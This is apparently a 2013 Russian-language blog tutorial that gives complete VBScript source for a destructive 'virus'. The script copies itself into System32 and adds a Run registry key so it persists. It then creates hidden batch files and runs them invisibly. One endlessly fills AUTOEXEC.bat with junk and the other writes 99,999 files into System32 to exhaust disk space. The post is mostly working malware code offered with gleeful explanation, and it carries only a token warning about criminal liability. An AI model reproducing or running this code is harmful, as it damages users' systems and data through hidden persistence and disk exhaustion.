Пишем прожорливый VBS вирус 

вирус жрущий свободное место на диске
Сегодня я расскажу как написать вирус который будет жрать свободное
место на жёстком диске и загаживать всё вокруг.
Кодить будем на VBS-е :
on error resume next
Dim s
Set S = WScript.CreateObject («WSCript.shell»)
set FSO=CreateObject(«Scripting.FileSystemObject»)

Источник /

Set Im = FSO.GetFile(WScript.ScriptFullName)
Im.Copy («C:WINDOWSSystem32TurnNameS.pif.vbs»)
s.RegWrite «HKCUSoftwareMicrosoftWindowsCurrentVersionRunWindow», «C:WINDOWSSystem32TurnNameS.pif.vbs»

set Batnik =FSO.CreateTextFile(«C:WINDOWSfSys.bat»)
Batnik.WriteLine(«attrib +h %0″)
Batnik.WriteLine(«:m»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342 >>C:/AUTOEXEC.bat»)
Batnik.WriteLine(«goto m»)
Batnik.Close

S.run «C:WINDOWSfSys.bat», 0 ‘
Set S = Nothing

set Batnik2 =FSO.CreateTextFile(«C:WINDOWSSYSTEM32LSystem.bat»)
Batnik2.WriteLine(«attrib +h %0″)
Batnik2.WriteLine(«for /l %%i in (1,1,99999) do echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342>> %%i»)
Batnik2.Close

S.run «C:WINDOWSSYSTEM32LSystem.bat», 0 ‘
Set S = Nothing

И так поясняю : вирус при запуске создает два бат файла
один он создает в папке C:WINDOWS с именем fSys.bat
затем, он скрытно запускает его,так чтобы досовское окно было не видимым
при запуске батник начинает бесконечно вписывать бессмысленные строки -
aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342
в системный файл C:/AUTOEXEC.bat он изначально с атрибутами скрытый(h),системный(s) и только чтение(r)
и постепенно файл набирает байты,килобайты,мегабайты а за тем и гигабайты веса с каждым запуском
батника, AUTOEXEC значительно толстеет а места на жёстком диске становится в разы меньше,
а главное преимущество это то что многие вообще не догадываются о существовании autoexec.

Юзер начинает удалять лишние игры,программы чтобы освободить место,но вирус жрёт больше и больше
и сколько бы юзер не удалял свои драгоценные игры вирь всё равно будет хавать свободное место.
Но это далеко не конец + к этому вирус создаёт ещё один батник с таковым кодом :
for /l %%i in (1,1,99999) do echo aaaa2afs3sdafd4852sdag4ga75agag3hsgsd0750sgd3sd7gs5034-58sf34-5-sgdsdg347sdg9823342342>> %%i
Этот код создает 99999 бесполезных файлов в каталоге SYSTEM32 каждый такой файл весит 86 байт, вот и считайте 86*99999 = полный капец
жёсткому диску.Теперь вы знаете как действуют вирусы с подобным механизмом засерания памяти но не советую писать такие вот злые
штуки так как всё это дело уголовно наказуемо =)  ACAB

 

Computer - Wurm, Computer- Virus Foto: Clemens Fabry

Мой блог находят по следующим фразам

© 2013, blogmega.ru. все права защищены ©